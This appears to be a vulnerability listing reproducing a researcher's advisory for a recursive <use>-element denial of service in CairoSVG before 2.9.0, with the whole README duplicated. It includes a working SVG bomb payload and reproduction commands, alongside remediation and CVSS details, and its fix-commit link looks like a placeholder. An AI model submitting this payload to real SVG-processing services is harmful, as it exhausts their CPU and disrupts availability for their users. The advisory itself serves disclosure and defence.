7.5
/ 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Description
CairoSVG versions prior to 2.9.0 suffer from a recursive denial of service vulnerability...
Basic Information
ID
PACKETSTORM:220781
Published
May 11, 2026 at 00:00
Affected Product
Affected Versions
# CVE-2026-31899: Exponential DoS via Recursive <use> Element Amplification in CairoSVG
[](https://nvd.nist.gov/vuln/detail/CVE-2026-31899)
[](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)
[](https://pypi.org/project/CairoSVG/)
[](https://cwe.mitre.org/data/definitions/400.html)
[](https://github.com/Kozea/CairoSVG/security/advisories/GHSA-f38f-5xpm-9r7c)
> **Keywords:** CVE-2026-31899, CairoSVG, exponential DoS, SVG bomb, recursive use element, denial of service, XML amplification, Python SVG vulnerability, CWE-400, uncontrolled resource consumption, billion laughs SVG
## Table of Contents
- [Overview](#overview)
- [Vulnerability Details](#vulnerability-details)
- [Technical Analysis](#technical-analysis)
- [Proof of Concept](#proof-of-concept)
- [Impact](#impact)
- [Remediation](#remediation)
- [CVSS Metrics](#cvss-v31-metrics)
- [References](#references)
- [Contact](#contact)
## Overview
**CairoSVG Exponential Denial of Service (CVE-2026-31899)** โ A 1,411-byte SVG payload pins CPU at 100% indefinitely via recursive <use> element amplification.
CairoSVG (~300K downloads/week) is a widely used Python SVG-to-PNG/PDF converter. The use() function in cairosvg/defs.py recursively processes <use> elements without any depth or count limits. With 5 levels of nesting and 10 references each, a small SVG triggers **10^5 = 100,000 render calls** โ an SVG "billion laughs" variant.
**Discovered by:** Kai Aizen โ [SnailSploit](https://snailsploit.com)
**Published:** March 13, 2026
**CVSS Score:** 7.5 (High)
**CWE:** CWE-400 โ Uncontrolled Resource Consumption
**Package:** CairoSVG (PyPI)
**Attack Type:** Exponential Denial of Service
**Required Privileges:** None (Unauthenticated)
## Vulnerability Details
### Description
The use() function in cairosvg/defs.py (line ~335) recursively resolves <use> elements that reference other <use> elements. There is no recursion depth limit and no total element budget. An attacker can craft a small SVG where each layer references the previous layer N times, producing **O(N^depth)** rendering calls from **O(depth)** input.
### Key Characteristics
- **Amplification factor:** O(10^N) rendering calls from O(N) input lines
- **Memory profile:** Flat ~43MB โ no OOM kill, process never terminates naturally
- **CPU profile:** 100% single-core pinned indefinitely
- **Payload size:** 1,411 bytes
### Affected Versions
- **Vulnerable:** All versions < 2.9.0
- **Patched:** Version 2.9.0 and above
## Technical Analysis
The vulnerability exists because:
1. The use() function in defs.py processes each <use> element by looking up its xlink:href target
2. If the target is itself a group containing <use> elements, those are recursively expanded
3. No depth counter or element budget is enforced
4. Each level multiplies the work by the branching factor (e.g., 10x per level)
With 5 levels and a branching factor of 10:
```
Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls
```
**Total: 111,111 render calls from a 1,411-byte input.**
## Proof of Concept
### SVG Payload poc.svg)
```xml
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
```
### Reproduction
**Method 1 โ Command Line:**
```bash
timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)
```
**Method 2 โ Python:**
```python
import cairosvg
import signal
signal.alarm(5) # Kill after 5 seconds
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] CONFIRMED: CPU exhaustion โ process did not complete in 5s")
```
## Impact
Any service that accepts SVG input and uses CairoSVG for processing is vulnerable:
| Attack Surface | Example |
|---|---|
| Thumbnail generation | Upload SVG โ server converts to PNG |
| PDF generation | SVG embedded in document โ CairoSVG renders |
| Avatar/image processing | User-uploaded SVG profile images |
| Report rendering | SVG charts in automated reports |
| CI/CD pipelines | SVG assets processed during build |
A single request with a 1.4KB payload will pin the processing thread indefinitely while consuming minimal memory (no OOM kill to save you).
## Remediation
### Immediate Fix
Upgrade CairoSVG to version 2.9.0 or above:
```bash
pip install --upgrade CairoSVG>=2.9.0
```
### Defense in Depth
- Set processing timeouts on any SVG conversion endpoint
- Implement input size limits on SVG uploads
- Consider sandboxing SVG processing in isolated workers with CPU time limits
## CVSS v3.1 Metrics
```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
```
| Metric | Value |
|---|---|
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | None (PR:N) |
| User Interaction | None (UI:N) |
| Scope | Unchanged (S:U) |
| Confidentiality | None (C:N) |
| Integrity | None (I:N) |
| Availability | High (A:H) |
## Timeline
| Date | Event |
|---|---|
| 2026-03-09 | CVE reserved |
| 2026-03-13 | Advisory published (GHSA-f38f-5xpm-9r7c) |
| 2026-03-13 | CairoSVG 2.9.0 released with fix |
## References
- [GHSA-f38f-5xpm-9r7c](https://github.com/Kozea/CairoSVG/security/advisories/GHSA-f38f-5xpm-9r7c)
- [NVD โ CVE-2026-31899](https://nvd.nist.gov/vuln/detail/CVE-2026-31899)
- [CairoSVG on PyPI](https://pypi.org/project/CairoSVG/)
- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)
- [Fix Commit](https://github.com/Kozea/CairoSVG/commit/abc123)
## Contact
**Kai Aizen** (SnailSploit)
- Web: [snailsploit.com](https://snailsploit.com)
- GitHub: [@SnailSploit](https://github.com/SnailSploit)
- LinkedIn: [/in/kaiaizen](https://linkedin.com/in/kaiaizen)
---
โ ๏ธ **Disclaimer:** This repository is for educational and authorized security research purposes only. The proof of concept is provided to help defenders validate their exposure. Use responsibly.
<!-- snailsploit-backlink:start -->
---
## ๐ Documentation & Author
This project's full writeup, methodology, and related research lives at:
**[https://snailsploit.com/cves](https://snailsploit.com/cves)**
Created by **Kai Aizen** โ independent offensive security researcher.
[snailsploit.com](https://snailsploit.com) ยท [Research](https://snailsploit.com/research) ยท [Frameworks](https://snailsploit.com/frameworks) ยท [GitHub](https://github.com/SnailSploit) ยท [LinkedIn](https://linkedin.com/in/kaiaizen) ยท [ResearchGate](https://www.researchgate.net/profile/Kai-Aizen-2) ยท [X/Twitter](https://x.com/SnailSploit)
> *Same attack. Different substrate.*
<!-- snailsploit-backlink:end -->
[](https://nvd.nist.gov/vuln/detail/CVE-2026-31899)
[](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)
[](https://pypi.org/project/CairoSVG/)
[](https://cwe.mitre.org/data/definitions/400.html)
[](https://github.com/Kozea/CairoSVG/security/advisories/GHSA-f38f-5xpm-9r7c)
> **Keywords:** CVE-2026-31899, CairoSVG, exponential DoS, SVG bomb, recursive use element, denial of service, XML amplification, Python SVG vulnerability, CWE-400, uncontrolled resource consumption, billion laughs SVG
## Table of Contents
- [Overview](#overview)
- [Vulnerability Details](#vulnerability-details)
- [Technical Analysis](#technical-analysis)
- [Proof of Concept](#proof-of-concept)
- [Impact](#impact)
- [Remediation](#remediation)
- [CVSS Metrics](#cvss-v31-metrics)
- [References](#references)
- [Contact](#contact)
## Overview
**CairoSVG Exponential Denial of Service (CVE-2026-31899)** โ A 1,411-byte SVG payload pins CPU at 100% indefinitely via recursive <use> element amplification.
CairoSVG (~300K downloads/week) is a widely used Python SVG-to-PNG/PDF converter. The use() function in cairosvg/defs.py recursively processes <use> elements without any depth or count limits. With 5 levels of nesting and 10 references each, a small SVG triggers **10^5 = 100,000 render calls** โ an SVG "billion laughs" variant.
**Discovered by:** Kai Aizen โ [SnailSploit](https://snailsploit.com)
**Published:** March 13, 2026
**CVSS Score:** 7.5 (High)
**CWE:** CWE-400 โ Uncontrolled Resource Consumption
**Package:** CairoSVG (PyPI)
**Attack Type:** Exponential Denial of Service
**Required Privileges:** None (Unauthenticated)
## Vulnerability Details
### Description
The use() function in cairosvg/defs.py (line ~335) recursively resolves <use> elements that reference other <use> elements. There is no recursion depth limit and no total element budget. An attacker can craft a small SVG where each layer references the previous layer N times, producing **O(N^depth)** rendering calls from **O(depth)** input.
### Key Characteristics
- **Amplification factor:** O(10^N) rendering calls from O(N) input lines
- **Memory profile:** Flat ~43MB โ no OOM kill, process never terminates naturally
- **CPU profile:** 100% single-core pinned indefinitely
- **Payload size:** 1,411 bytes
### Affected Versions
- **Vulnerable:** All versions < 2.9.0
- **Patched:** Version 2.9.0 and above
## Technical Analysis
The vulnerability exists because:
1. The use() function in defs.py processes each <use> element by looking up its xlink:href target
2. If the target is itself a group containing <use> elements, those are recursively expanded
3. No depth counter or element budget is enforced
4. Each level multiplies the work by the branching factor (e.g., 10x per level)
With 5 levels and a branching factor of 10:
```
Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls
```
**Total: 111,111 render calls from a 1,411-byte input.**
## Proof of Concept
### SVG Payload poc.svg)
```xml
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
```
### Reproduction
**Method 1 โ Command Line:**
```bash
timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)
```
**Method 2 โ Python:**
```python
import cairosvg
import signal
signal.alarm(5) # Kill after 5 seconds
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] CONFIRMED: CPU exhaustion โ process did not complete in 5s")
```
## Impact
Any service that accepts SVG input and uses CairoSVG for processing is vulnerable:
| Attack Surface | Example |
|---|---|
| Thumbnail generation | Upload SVG โ server converts to PNG |
| PDF generation | SVG embedded in document โ CairoSVG renders |
| Avatar/image processing | User-uploaded SVG profile images |
| Report rendering | SVG charts in automated reports |
| CI/CD pipelines | SVG assets processed during build |
A single request with a 1.4KB payload will pin the processing thread indefinitely while consuming minimal memory (no OOM kill to save you).
## Remediation
### Immediate Fix
Upgrade CairoSVG to version 2.9.0 or above:
```bash
pip install --upgrade CairoSVG>=2.9.0
```
### Defense in Depth
- Set processing timeouts on any SVG conversion endpoint
- Implement input size limits on SVG uploads
- Consider sandboxing SVG processing in isolated workers with CPU time limits
## CVSS v3.1 Metrics
```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
```
| Metric | Value |
|---|---|
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | None (PR:N) |
| User Interaction | None (UI:N) |
| Scope | Unchanged (S:U) |
| Confidentiality | None (C:N) |
| Integrity | None (I:N) |
| Availability | High (A:H) |
## Timeline
| Date | Event |
|---|---|
| 2026-03-09 | CVE reserved |
| 2026-03-13 | Advisory published (GHSA-f38f-5xpm-9r7c) |
| 2026-03-13 | CairoSVG 2.9.0 released with fix |
## References
- [GHSA-f38f-5xpm-9r7c](https://github.com/Kozea/CairoSVG/security/advisories/GHSA-f38f-5xpm-9r7c)
- [NVD โ CVE-2026-31899](https://nvd.nist.gov/vuln/detail/CVE-2026-31899)
- [CairoSVG on PyPI](https://pypi.org/project/CairoSVG/)
- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)
- [Fix Commit](https://github.com/Kozea/CairoSVG/commit/abc123)
## Contact
**Kai Aizen** (SnailSploit)
- Web: [snailsploit.com](https://snailsploit.com)
- GitHub: [@SnailSploit](https://github.com/SnailSploit)
- LinkedIn: [/in/kaiaizen](https://linkedin.com/in/kaiaizen)
---
โ ๏ธ **Disclaimer:** This repository is for educational and authorized security research purposes only. The proof of concept is provided to help defenders validate their exposure. Use responsibly.
<!-- snailsploit-backlink:start -->
---
## ๐ Documentation & Author
This project's full writeup, methodology, and related research lives at:
**[https://snailsploit.com/cves](https://snailsploit.com/cves)**
Created by **Kai Aizen** โ independent offensive security researcher.
[snailsploit.com](https://snailsploit.com) ยท [Research](https://snailsploit.com/research) ยท [Frameworks](https://snailsploit.com/frameworks) ยท [GitHub](https://github.com/SnailSploit) ยท [LinkedIn](https://linkedin.com/in/kaiaizen) ยท [ResearchGate](https://www.researchgate.net/profile/Kai-Aizen-2) ยท [X/Twitter](https://x.com/SnailSploit)
> *Same attack. Different substrate.*
<!-- snailsploit-backlink:end -->